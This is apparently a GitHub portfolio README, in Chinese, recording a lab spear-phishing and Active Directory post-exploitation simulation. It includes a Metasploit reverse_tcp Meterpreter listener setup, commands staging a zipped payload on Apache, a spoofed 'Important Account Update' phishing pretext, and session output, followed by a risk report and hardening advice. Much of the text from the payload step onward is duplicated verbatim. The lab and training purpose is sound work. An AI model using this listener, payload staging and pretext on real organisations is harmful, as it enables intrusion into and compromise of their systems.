okoroe845-create/-Advanced-Spear-Phishing-Post-Exploitation-Simulation
GitHub: okoroe845-create/-Advanced-Spear-Phishing-Post-Exploitation-Simulation
该项目是一个完整记录鱼叉式网络钓鱼到活动目录后漏洞利用全生命周期的攻防模拟实验,用于网络安全攻防培训与渗透测试技能展示。
Stars: 1 | Forks: 0
# 🎭 全生命周期鱼叉式网络钓鱼与活动目录节点接管
### 执行者:Okoro Francis Emmanuel
**目标受众:** 网络安全技术审查人员及高层领导
## 📌 执行摘要与项目概述
### 高层业务背景
在现代企业环境中,技术防御(防火墙、加密、防病毒)备受重视,然而**人类行为**仍然是最容易被针对的操作漏洞。本项目展示了一次针对性的**鱼叉式网络钓鱼活动**及其随后的**后漏洞利用命令与控制(C2)**操作的全面全生命周期模拟。
通过同时执行攻击准备阶段和模拟内部用户操作,本实验室映射了一封具有高度紧急性的电子邮件如何绕过边界防御、欺骗员工,并授予外部攻击者对企业 Windows Server 域资产的管理员级别访问权限。
### 核心目标:
* 验证电子邮件安全过滤器针对带有 HTML 借口信息的定向邮件的有效性。
* 分析用户面对紧急社会工程学借口时的脆弱性。
* 展示未受监控的入站反向 TCP 连接对业务的严重风险。
* 规划系统性的后漏洞利用主机发现工作流。
## 🛠️ 工具与基础设施分解
为了执行这项端到端审计,配置了一个复杂的双环境实验室以复制企业环境:
| 工具 / 组件 | 项目中的功能 | 业务 / 技术影响 |
| :--- | :--- | :--- |
| **Kali Linux** | 裸机攻击者基础设施 | 承载工具和监听器的专用安全环境。 |
| **Social-Engineer Toolkit (SET)** | 鱼叉式钓鱼与群发邮件引擎 | 自动化攻击借口、伪造和部署目标。 |
| **Metasploit Framework (MSF)** | 命令与控制(C2)监听器 | 处理 payload 的投递、反向握手和交互式 shell。 |
| **Apache2 Web Server** | 在本地托管恶意资产 | 通过 80 端口作为外部文件分发系统。 |
| **Meterpreter** | 高级内存驻留 payload | 通过在活动的 RAM 内存中运行来绕过磁盘特征签名。 |
| **Windows Server 2016** | 活动目录节点 (`MS10`) | `structurereality` 域内的目标服务器资产。 |
## 💻 分步技术执行
该模拟按时间顺序分为四个经过高度精密计算的战术阶段执行:
### 步骤 1:C2 监听器初始化
在发送任何恶意电子邮件之前,接收端的基础设施必须处于监听状态。在 Metasploit 中设置了一个 exploit handler,以等待通过安全 Web 端口(`443`)传入的连接。
```
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.1.1.66
msf6 exploit(multi/handler) > set LPORT 443
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.1.1.66:443
```
### 步骤 2:Payload 投递与服务器设置
一个恶意的可执行包装器(`payload.exe`)被压缩到一个更新存档中,以绕过扫描原始 `.exe` 扩展名的基础网络防火墙,随后被移动到 Web 服务目录中。
```
# 导航至 core configuration toolkit 文件
cd /root/.set
# 将 payload 可执行文件压缩至部署 zip archive 中
zip /var/www/html/acctupd.zip payload.exe
# 启动本地 Apache web server 基础设施以托管该 archive
service apache2 start
```
### 步骤 3:鱼叉式网络钓鱼攻击部署
使用 SET 的自动化群发邮件模块,利用高度紧急的借口制作了一封定向电子邮件,以迫使用户立即遵从。
* **目标地址:** `jaime@structurereality.com`
* **伪造发件人:** `support@structurereality.com`(显示名:`Support Department`)
* **主题:** `Important Account Update`
#### 使用的 HTML 钓鱼借口:
```
Please download, extract, and run the update file from this link: update
Otherwise, your certs will automatically expire!
Sincerely,
Support Department ```
### 步骤 4:模拟受害者操作与侦查
为了全面映射其影响,我切换到本地 Windows 主机,并扮演了受害者的角色:
1. 通过浏览器打开了传入的钓鱼链接。
2. 从本地服务器(`10.1.1.66`)下载了 `acctupd.zip` 容器。
3. 解压文件并运行了 payload 二进制文件。
瞬间,该执行触发了一个稳定的反向 TCP 握手返回到我的 Kali Linux 终端,并打开了一个交互式的 **Meterpreter shell**:
```
[*] Sending stage (175686 bytes) to 10.1.1.2
[*] Meterpreter session 1 opened (10.1.1.66:443 -> 10.1.1.2:1687)
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
```
进入后,我执行了主机发现命令以验证网络访问的深度:
```
meterpreter > sysinfo
Computer : MS10
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
Domain : structurereality
Logged On Users : 6
meterpreter > getuid
Server username: structurereality\jaime
```
## 🚨 漏洞与风险报告
以下是审计期间发现的风险明细,按对业务连续性的操作威胁级别优先排序。
### 🔴 严重 — 通过不受信任的可执行文件导致的完整节点沦陷
* **威胁类型:** 执行任意的未签名二进制文件
* **技术严重性:** 高(获得了 Meterpreter 访问权限)
* **业务影响:** 存在数据泄露、勒索软件分发或全面网络渗透的高风险。外部攻击者在账户上下文 `structurereality\jaime` 下,在域资产 `MS10` 上获得了立足点。
### 🟡 中等 — 接受高度紧急的电子邮件欺诈
* **威胁类型:** 社会工程学与冒充欺骗
* **技术严重性:** 中
* **业务影响:** 完全绕过机械式的安全控制。缺乏用户安全意识或内部验证策略,使得外部实体能够有效地伪造受信任人员的身份。
### 🟢 低 — 通过非标准服务的出站端口流出
* **威胁类型:** 宽松的出站防火墙过滤
* **技术严重性:** 低
* **业务影响:** 允许内部设备通过端口 `443` 向外建立任意连接。这使得后门 payload 能够轻易地建立稳定的出站链接并返回到攻击者基础设施。
## 🧠 关键经验教训
1. **纵深防御是强制性的:** 如果用户被诱骗在本地下载并运行程序,机械式的边界防御就毫无用处。安全必须存在于端点层面,而不仅仅是防火墙。
2. **“人类补丁”是最难实现的:** 技术控制必须有强大的内部安全态势作为后盾,在这种态势下,员工应受过训练,会反复核查奇怪的、高度紧急的通知。
3. **内部遥测数据很重要:** 出站连接应受到严格限制。如果普通工作站开始通过安全通道建立原始的二进制握手,应立即向内部安全团队发出警报。
## 🚀 前瞻性战略路线图
这次攻击性模拟构成了接下来三个防御性验证周期的基础:
### 阶段 1 — 漏洞利用扩展
* 利用现有的 `structurereality\jaime` 会话立足点来测试本地权限限制。
* 尝试进行内部凭证收集,以查看内存中是否暴露了更高权限的域 token。
### 阶段 2 — 系统强化与控制修复
* **AppLocker 策略集成:** 配置应用程序控制规则,以完全阻止用户在临时浏览器目录中启动未知的、未签名的软件。
* **出站流量限制:** 限制企业设备,使其只能向外连接到已知的、受信任的 Web 域,从而阻断未经授权的反向 TCP 链接。
### 阶段 3 — 持续的安全流水线培训
* 推进 **TryHackMe Jr. Penetration Tester** 学习路径。
* 作为专门的 **eJPT / OSCP** 学习计划的一部分,构建实践性的攻防基础设施。
### 步骤 2:Payload 投递与服务器设置
一个恶意的可执行包装器(`payload.exe`)被压缩到一个更新存档中,以绕过扫描原始 `.exe` 扩展名的基础网络防火墙,随后被移动到 Web 服务目录中。
```
# 导航至 core configuration toolkit 文件
cd /root/.set
# 将 payload 可执行文件压缩至部署 zip archive 中
zip /var/www/html/acctupd.zip payload.exe
# 启动本地 Apache web server 基础设施以托管该 archive
service apache2 start
```
### 步骤 3:鱼叉式网络钓鱼攻击部署
使用 SET 的自动化群发邮件模块,利用高度紧急的借口制作了一封定向电子邮件,以迫使用户立即遵从。
* **目标地址:** `jaime@structurereality.com`
* **伪造发件人:** `support@structurereality.com`(显示名:`Support Department`)
* **主题:** `Important Account Update`
#### 使用的 HTML 钓鱼借口:
```
Please download, extract, and run the update file from this link: update Otherwise, your certs will automatically expire!
Sincerely,
Support Department ```
### 步骤 4:模拟受害者操作与侦查
为了全面映射其影响,我切换到本地 Windows 主机,并扮演了受害者的角色:
1. 通过浏览器打开了传入的钓鱼链接。
2. 从本地服务器(`10.1.1.66`)下载了 `acctupd.zip` 容器。
3. 解压文件并运行了 payload 二进制文件。
瞬间,该执行触发了一个稳定的反向 TCP 握手返回到我的 Kali Linux 终端,并打开了一个交互式的 **Meterpreter shell**:
```
[*] Sending stage (175686 bytes) to 10.1.1.2
[*] Meterpreter session 1 opened (10.1.1.66:443 -> 10.1.1.2:1687)
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
```
进入后,我执行了主机发现命令以验证网络访问的深度:
```
meterpreter > sysinfo
Computer : MS10
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
Domain : structurereality
Logged On Users : 6
meterpreter > getuid
Server username: structurereality\jaime
```
## 🚨 漏洞与风险报告
以下是审计期间发现的风险明细,按对业务连续性的操作威胁级别优先排序。
### 🔴 严重 — 通过不受信任的可执行文件导致的完整节点沦陷
* **威胁类型:** 执行任意的未签名二进制文件
* **技术严重性:** 高(获得了 Meterpreter 访问权限)
* **业务影响:** 存在数据泄露、勒索软件分发或全面网络渗透的高风险。外部攻击者在账户上下文 `structurereality\jaime` 下,在域资产 `MS10` 上获得了立足点。
### 🟡 中等 — 接受高度紧急的电子邮件欺诈
* **威胁类型:** 社会工程学与冒充欺骗
* **技术严重性:** 中
* **业务影响:** 完全绕过机械式的安全控制。缺乏用户安全意识或内部验证策略,使得外部实体能够有效地伪造受信任人员的身份。
### 🟢 低 — 通过非标准服务的出站端口流出
* **威胁类型:** 宽松的出站防火墙过滤
* **技术严重性:** 低
* **业务影响:** 允许内部设备通过端口 `443` 向外建立任意连接。这使得后门 payload 能够轻易地建立稳定的出站链接并返回到攻击者基础设施。
## 🧠 关键经验教训
1. **纵深防御是强制性的:** 如果用户被诱骗在本地下载并运行程序,机械式的边界防御就毫无用处。安全必须存在于端点层面,而不仅仅是防火墙。
2. **“人类补丁”是最难实现的:** 技术控制必须有强大的内部安全态势作为后盾,在这种态势下,员工应受过训练,会反复核查奇怪的、高度紧急的通知。
3. **内部遥测数据很重要:** 出站连接应受到严格限制。如果普通工作站开始通过安全通道建立原始的二进制握手,应立即向内部安全团队发出警报。
## 🚀 前瞻性战略路线图
这次攻击性模拟构成了接下来三个防御性验证周期的基础:
### 阶段 1 — 漏洞利用扩展
* 利用现有的 `structurereality\jaime` 会话立足点来测试本地权限限制。
* 尝试进行内部凭证收集,以查看内存中是否暴露了更高权限的域 token。
### 阶段 2 — 系统强化与控制修复
* **AppLocker 策略集成:** 配置应用程序控制规则,以完全阻止用户在临时浏览器目录中启动未知的、未签名的软件。
* **出站流量限制:** 限制企业设备,使其只能向外连接到已知的、受信任的 Web 域,从而阻断未经授权的反向 TCP 链接。
### 阶段 3 — 持续的安全流水线培训
* 推进 **TryHackMe Jr. Penetration Tester** 学习路径。
* 作为专门的 **eJPT / OSCP** 学习计划的一部分,构建实践性的攻防基础设施。
网络与攻击性安全作品集 • 2026
标签:ESC8, IP 地址批量处理, Object Callbacks, 命令与控制, 无线安全, 社会工程学, 网络钓鱼